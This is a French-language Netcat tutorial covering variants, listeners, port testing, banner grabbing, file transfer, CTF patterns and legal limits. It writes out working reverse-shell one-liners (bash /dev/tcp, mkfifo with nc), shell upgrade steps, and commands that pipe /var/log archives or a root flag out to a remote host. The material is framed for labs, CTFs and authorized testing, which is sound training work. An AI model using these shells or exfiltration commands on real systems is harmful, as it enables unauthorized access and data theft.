Comment utiliser Netcat : commandes et exemples CTF

Qu'est-ce que Netcat ?

Netcat est un outil en ligne de commande qui lit et écrit des données à travers des connexions réseau, en TCP ou en UDP. Il crée une socket, vous en donne les deux bouts et s'efface. Tout ce que vous pouvez envoyer dans un programme par un tube, vous pouvez l'envoyer dans une connexion réseau, et tout ce qui arrive sur cette connexion ressort sur la sortie standard.

Cette description paraît trop générale pour servir à quelque chose, jusqu'à ce qu'on voie ce qu'elle remplace. Netcat, c'est ce qui vous permet de récupérer un shell, de confirmer qu'un port est réellement ouvert et pas seulement non filtré, de dialoguer à la main avec un service avant d'écrire un script, et de copier un fichier sur une machine qui n'a ni curl, ni wget, ni gestionnaire de paquets.

L'original a été écrit par un développeur connu sous le nom de Hobbit et publié le 28 octobre 1995. La dernière version de ce code, la 1.10, est sortie en mars 1996 et se retrouve encore dans les distributions Linux trente ans plus tard. Trois implémentations comptent aujourd'hui :

• netcat-traditional (1.10). Le code d'origine. Il possède l'option -e qui exécute un programme à la connexion, ainsi qu'un mode dump hexadécimal. Sur les systèmes dérivés de Debian, il s'installe sous le nom nc.traditional et non nc.
• netcat-openbsd. Une réécriture propre avec IPv6, sockets Unix et support des proxies, même si le build Debian arrive sans TLS. C'est le nc que vous avez par défaut sur Kali, Ubuntu et Debian, et il a volontairement abandonné -e.
• Ncat. Écrit pour le projet Nmap et annoncé en 2005. Il ajoute SSL, les proxies SOCKS4 et HTTP, le chaînage de connexions, ainsi que --exec et --sh-exec. Il s'installe avec Nmap, donc vous l'avez probablement déjà.

La version dont vous disposez décide des commandes qui fonctionnent. Presque toutes les questions du type « cette commande netcat ne marche pas » sont en réalité un décalage de version entre le guide lu et le binaire installé.

Installer Netcat et vérifier quelle version vous avez

Avant d'installer quoi que ce soit, regardez ce qui est déjà là. La première ligne de l'aide nomme la variante :

nc -h

Sur Ubuntu 24.04, cela renvoie :

OpenBSD netcat (Debian patchlevel 1.226-1ubuntu2)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]

Lisez cette chaîne d'options attentivement : il n'y a pas de e dedans. Ce seul détail explique toute une section plus bas dans cette page.

Sur Debian, Ubuntu, Kali et Parrot, le build OpenBSD est à une commande :

sudo apt update && sudo apt install netcat-openbsd

Si vous voulez aussi l'original, installez-le séparément. Il n'écrase pas nc, ce qui est le comportement raisonnable :

sudo apt install netcat-traditional

Vous obtenez nc.traditional, actuellement empaqueté en version 1.10-48. Son aide est d'une franchise rafraîchissante au sujet de l'option d'exécution :

-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!]
-e filename		program to exec after connect [dangerous!!]

macOS embarque déjà un nc dérivé de BSD, il n'y a donc rien à installer pour l'usage courant. Pour Ncat, brew install nmap suffit. Sous Windows, prenez Ncat dans l'installeur officiel de Nmap plutôt qu'un des vieux binaires nc.exe qui circulent sur les sites de partage : ils ne sont pas signés, ils sont souvent modifiés, et les logiciels de sécurité les détectent immédiatement, ce qui est le comportement attendu dans un environnement protégé et non un problème à contourner.

Comment utiliser Netcat : les deux commandes qui portent tout

Netcat n'a que deux modes : écouter, ou se connecter. Chaque recette de ce guide est l'un des deux avec un tube au bout.

Lancer un listener :

nc -lvnp 4444

Quatre options, chacune justifiée. -l écoute au lieu de se connecter. -v passe en mode verbeux, pour voir la connexion arriver au lieu de fixer un terminal vide en se demandant. -n saute la résolution DNS, ce qui supprime une requête qui peut bloquer plusieurs secondes sur un réseau isolé. -p fixe le port.

Depuis un autre terminal, connectez-vous et envoyez quelque chose :

echo "hello from the client" | nc 127.0.0.1 4444

Le listener affiche exactement ceci :

Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 44782
hello from the client

Deux comportements piègent tout le monde le premier jour. Un listener meurt dès que le premier client se déconnecte, sauf si vous ajoutez -k, qui le laisse accepter de nouvelles connexions :

nc -lvnk 4452

Listening on 0.0.0.0 4452
Connection received on 127.0.0.1 52654
one
Connection received on 127.0.0.1 52666
two

Et le build traditional veut son port en argument séparé : nc.traditional -l -p 4444 fonctionne là où nc.traditional -lvnp 4444 échoue. Les guides écrits pour une variante tombent en silence sur l'autre.

Les ports en dessous de 1024 demandent les droits root. Si nc -lvnp 80 renvoie une erreur de permission, c'est la raison, et choisir 4444 ou 9001 est presque toujours une meilleure réponse que de dégainer sudo.

Test de ports et banner grabbing

L'option -z se connecte puis se déconnecte immédiatement sans envoyer de données, ce qui transforme netcat en testeur de ports rapide. Associez-la à -v pour qu'il affiche les résultats, et donnez-lui une plage :

nc -zv 127.0.0.1 8079-8081

nc: connect to 127.0.0.1 port 8079 (tcp) failed: Connection refused
Connection to 127.0.0.1 8080 port [tcp/http-alt] succeeded!
nc: connect to 127.0.0.1 port 8081 (tcp) failed: Connection refused

Ajoutez -w 2 pour limiter la durée de chaque tentative. Sans délai maximal, un port filtré laisse netcat suspendu sur une connexion qui n'aboutira jamais, et un balayage de vingt ports se transforme en pause café.

Mon conseil honnête : n'utilisez pas netcat comme scanner de ports. Il est mono-thread, il n'a aucune détection de service, et il est infiniment plus lent que l'outil conçu pour ça. Prenez plutôt les commandes de notre aide-mémoire Nmap. Netcat gagne sa place à la question suivante, quand Nmap vous a dit que le port 8080 est ouvert et que vous voulez savoir ce qui répond vraiment derrière. Si les ports et les services restent flous, notre article sur ce qu'est un port pose les bases.

Beaucoup de services s'annoncent dès la connexion. Ouvrez la socket et attendez :

nc -nv 10.10.10.5 22

Un serveur OpenSSH répond quelque chose comme SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13 avant que vous n'ayez tapé quoi que ce soit. Cette chaîne nomme le logiciel, la version et souvent le paquet de la distribution : c'est votre première vraie empreinte de la machine.

HTTP est plus discret et attend une requête. Envoyez-la à la main :

printf 'GET / HTTP/1.0\r\n\r\n' | nc 127.0.0.1 8080

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.15
Date: Sat, 22 Aug 2026 07:10:41 GMT
Content-type: text/html; charset=utf-8
Content-Length: 277

Le printf compte plus qu'il n'y paraît. HTTP exige des fins de ligne CRLF et une ligne vide pour clore les en-têtes, ce que fournit \r\n\r\n. Utilisez echo et le serveur attend indéfiniment une requête que vous croyez avoir envoyée. Si vous préférez ne pas y penser, nc -C envoie les CRLF pour vous.

En pratique, c'est là que netcat bat tous les outils graphiques. Vous pouvez envoyer une requête volontairement malformée, un en-tête surdimensionné ou un verbe que le serveur n'a jamais vu, et regarder la réponse brute revenir sans rien entre les deux pour la réinterpréter.

Transférer des fichiers avec Netcat

Sur une machine sans curl, sans wget et sans cache de paquets accessible en écriture, netcat est souvent le seul moyen de déplacer un fichier. Le destinataire écoute et redirige vers un fichier. L'expéditeur se connecte et lit depuis un fichier.

Sur la machine réceptrice :

nc -lvnp 4445 > received.txt

Sur la machine émettrice :

nc -q 1 -N 10.10.10.5 4445 < secrets.txt

Ces deux options côté expéditeur font la différence entre un transfert qui se termine et un transfert qui semble bloqué. -N ferme la socket quand l'entrée standard atteint la fin de fichier, et -q 1 quitte une seconde plus tard. Sans elles, les deux côtés restent sur une connexion ouverte longtemps après l'arrivée du dernier octet, ce qui ressemble exactement à un échec. Beaucoup de gens en concluent que netcat est cassé à ce stade. Il fait ce qu'on lui a demandé.

Netcat ne vous donne ni contrôle d'intégrité, ni chiffrement, ni barre de progression : vérifiez le résultat vous-même.

sha256sum secrets.txt received.txt

Toute différence signifie un transfert tronqué, et un transfert tronqué sans message d'erreur est la manie la moins attachante de netcat. Pour un répertoire entier, faites passer tar dans la connexion plutôt que d'envoyer les fichiers un par un :

tar czf - /var/log | nc -q 1 -N 10.10.10.5 4445

nc -lvnp 4445 | tar xzvf -

À savoir côté défense : le fait de déposer des outils sur une machine compromise est catalogué par MITRE sous T1105, Ingress Tool Transfer, et un listener sur un port inhabituel suivi d'une rafale de données sortantes fait partie des signaux qu'un réseau surveillé repère le plus sûrement. C'est une bonne nouvelle quand vous êtes du côté défensif, et une discussion de périmètre quand vous ne l'êtes pas.

Reverse shells et l'option -e manquante

Voici le mur que tous les débutants heurtent. La moitié des tutoriels en ligne vous disent de lancer ceci :

nc -e /bin/sh 10.10.10.5 4444

Et sur Kali, Ubuntu ou Debian, netcat répond :

nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]

Rien n'est cassé. La réécriture OpenBSD a supprimé l'option volontairement, parce qu'un listener qui exécute un shell à chaque connexion entrante est une porte dérobée sans authentification pour la première personne qui trouve le port. Le build traditional l'a toujours et l'étiquette [dangerous!!] dans sa propre aide, ce qui est un résumé honnête.

Trois solutions de remplacement fonctionnent sur une cible Linux standard. La première utilise la redirection réseau intégrée de bash et ne nécessite aucun netcat sur la cible :

bash -i >& /dev/tcp/10.10.10.5/4444 0>&1

La deuxième est le motif du tube nommé, la réponse quand la cible a netcat mais dans sa version allégée :

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.5 4444 > /tmp/f

Lancez cela contre votre propre listener et vous récupérez ceci :

Listening on 0.0.0.0 4446
Connection received on 127.0.0.1 53596
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Le fifo fait le travail que faisait -e : la sortie du shell part dans netcat, l'entrée de netcat ressort par le tube, et la boucle se referme.

La troisième option est Ncat, qui a gardé la fonctionnalité sous des noms plus clairs : --exec lance un programme directement et --sh-exec passe la commande à /bin/sh. Ncat écoute aussi en TLS, ce qui fait la différence entre un shell qui traverse le réseau en clair et un shell qui ne le fait pas. Sur une infrastructure de laboratoire qui vous appartient :

ncat --ssl -lvnp 4444

Remarquez la ligne can't access tty dans cette sortie. Un shell netcat brut n'a ni contrôle de tâches, ni complétion, ni historique aux flèches, et Ctrl+C tue votre listener au lieu de la commande en cours. Améliorez-le tout de suite :

1. Ouvrez un vrai PTY. python3 -c 'import pty; pty.spawn("/bin/bash")' sur la cible.
2. Mettez le shell en arrière-plan. Ctrl+Z vous ramène à votre propre terminal.
3. Réglez votre terminal local. stty raw -echo; fg transmet les frappes brutes directement au shell distant.
4. Définissez un type de terminal. export TERM=xterm fait fonctionner clear, less et vim.

Ces quatre étapes prennent quinze secondes et transforment un shell inutilisable en shell exploitable. Notre aide-mémoire des reverse shells rassemble les charges utiles pour les cibles sans bash ni Python, que vous rencontrerez dès la première machine minimaliste.

Netcat dans les challenges CTF

Quatre motifs couvrent l'essentiel du netcat que vous taperez en compétition.

Le challenge est une socket. Quand un exercice ne vous donne rien d'autre que nc challenge.ctf.io 31337, le service sur ce port est le challenge. Connectez-vous, lisez ce qu'il dit et traitez-le comme un programme à interface texte, parce que c'est ce que c'est. Les catégories exploitation binaire et divers s'appuient là-dessus en permanence.

Le listener récupère le shell. Vous trouvez une injection de commande ou un upload de fichier sur une cible web, nc -lvnp 4444 tourne déjà, et le rappel arrive. Lancez le listener avant d'envoyer la charge utile, pas après. Regarder un shell se connecter à un port où personne n'écoute est un rite de passage que personne n'apprécie deux fois.

Netcat est la voie d'exfiltration. Flag root sur une machine sans HTTP sortant, mais avec le TCP brut autorisé sur un port haut. cat /root/flag-root.txt | nc 10.10.10.5 4444 et il est chez vous.

Vous rétro-concevez un protocole. Connectez-vous à la main, envoyez un octet, regardez ce qui revient, envoyez-en un autre. Une fois l'échange compris, passez à une socket Python ou à pwntools, parce que netcat n'a ni logique ni reprise. Tout ce qui implique une boucle ou une valeur calculée appartient à un script.

Un piège de bufferisation propre aux CTF. Envoyer des données dans netcat de façon non interactive peut laisser votre entrée dans un tampon pendant que le service distant attend, ce qui donne l'impression que le service vous ignore. stdbuf -o0 en tête de la chaîne, ou tout simplement une session interactive, vous évite une heure de débogage sur un problème qui n'a jamais été sur le réseau.

Aide-mémoire des commandes Netcat

Les commandes à garder sous la main :

• nc -lvnp 4444 - écouter sur le port 4444, en verbeux, sans DNS
• nc -lvnk 4444 - pareil, mais rester à l'écoute après chaque déconnexion
• nc 10.10.10.5 4444 - se connecter à un hôte et un port
• nc -zv 10.10.10.5 20-25 - tester une plage de ports sans envoyer de données
• nc -nv 10.10.10.5 22 - récupérer la bannière d'un service
• printf 'GET / HTTP/1.0\r\n\r\n' | nc 10.10.10.5 80 - envoyer une requête HTTP brute
• nc -lvnp 4445 > out.bin - recevoir un fichier
• nc -q 1 -N 10.10.10.5 4445 < in.bin - envoyer un fichier et fermer proprement
• nc -u -lvnp 9999 - écouter en UDP plutôt qu'en TCP
• nc -w 2 -zv hote 80 - limiter l'attente à deux secondes
• nc -x 127.0.0.1:9050 -X 5 hote 80 - faire passer la connexion par un proxy SOCKS5

L'UDP mérite une mise en garde. Il n'y a pas de poignée de main, donc nc -zvu annonce un succès dès qu'aucun message ICMP port unreachable ne revient. Sur une machine derrière un pare-feu, un port filtré et un port réellement ouvert sont indiscernables, et un résultat UDP propre ne vous a presque rien appris.

La liste complète des options se trouve dans la page de manuel nc d'OpenBSD, et l'histoire des différentes implémentations vaut dix minutes si vous devez un jour expliquer à un client pourquoi trois outils portant le même nom se comportent différemment.

Considérations légales et éthiques

Netcat est plus près de la ligne légale qu'un lecteur de métadonnées ou un casseur de mots de passe, parce que s'en servir implique de toucher la machine de quelqu'un d'autre. Une connexion TCP établie est un événement enregistré, et « je vérifiais seulement si le port était ouvert » n'a jamais été une grande défense.

Où c'est autorisé

• Les machines qui vous appartiennent, ainsi que les machines virtuelles et conteneurs de votre propre réseau
• Les cibles nommées par écrit dans une mission signée, pendant la fenêtre convenue
• Les plateformes de CTF et les laboratoires d'entraînement, dans le cadre de leurs règles publiées
• Votre propre infrastructure, où netcat est un outil de diagnostic légitime pour les administrateurs

Une règle qui sauve des carrières : un document de périmètre citant une plage d'adresses IP ne vous autorise pas à laisser un listener tourner sur une machine cliente après la fin de la mission. Fermez chaque listener que vous ouvrez, et notez dans votre rapport que vous l'avez fait. Un shell abandonné en production est un constat contre vous, pas contre le client.

Questions fréquentes